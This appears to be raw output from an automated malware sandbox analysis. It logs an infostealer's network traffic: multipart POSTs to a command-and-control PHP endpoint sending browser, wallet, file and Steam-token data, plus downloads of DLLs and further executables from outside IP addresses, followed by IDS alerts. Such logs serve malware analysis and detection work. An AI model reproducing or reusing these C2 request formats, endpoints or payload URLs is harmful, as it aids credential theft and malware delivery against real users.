Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHDHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"browsers------HJEBGHIEBFIJKECBKFHD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBKHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="message"plugins------AFBKKFBAEGDHJJJJKFBK--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIEHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="message"fplugins------DHJECFCGHIDGHIDHDHIE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJEHost: 46.8.231.109Content-Length: 8991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKFHost: 46.8.231.109Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJKEHCAKFBFHJKEHCFHost: 46.8.231.109Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBKHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file"------JJDGIIDHJEBGIDHJJDBK--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="file"------ECGDHIDAAFHIIDGDBFIE--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"wallets------BKFBAECBAEGDGDHIEHIJ--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJKHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="message"files------AKFCFBAAEHCFHJJKEHJK--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBFHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="file"------JKKKJJJKJKFHJJJJECBF--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="message"ybncbhylepme------FHIDAKFIJJKJJJKEBKJE--
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBFHIEBKJKFHIEBFBHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 2d 2d 0d 0a Data Ascii: ------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KFCFBFHIEBKJKFHIEBFB--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJEHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 30 31 42 33 39 30 31 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="hwid"53B01B3901222838420810------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="build"leva------AEBKKECBGIIJJKECGIJE--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 185.215.113.100 185.215.113.100

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: TSSCOM-ASRU TSSCOM-ASRU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: iplogger.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 154.216.17.134:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49735 -> 31.41.244.9:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49737 -> 176.113.115.33:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49733 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49734 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49750 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49763 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49764 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49765 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49769 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49767 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49777 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49778 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49780 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49781 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:61257 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49784 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49787 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49788 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49782 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49791 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49790 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49792 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49793 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49794 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49795 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49803 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49799 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49797 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49773 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49789 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49802 -> 94.130.188.148:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49741 -> 76.76.21.241:443

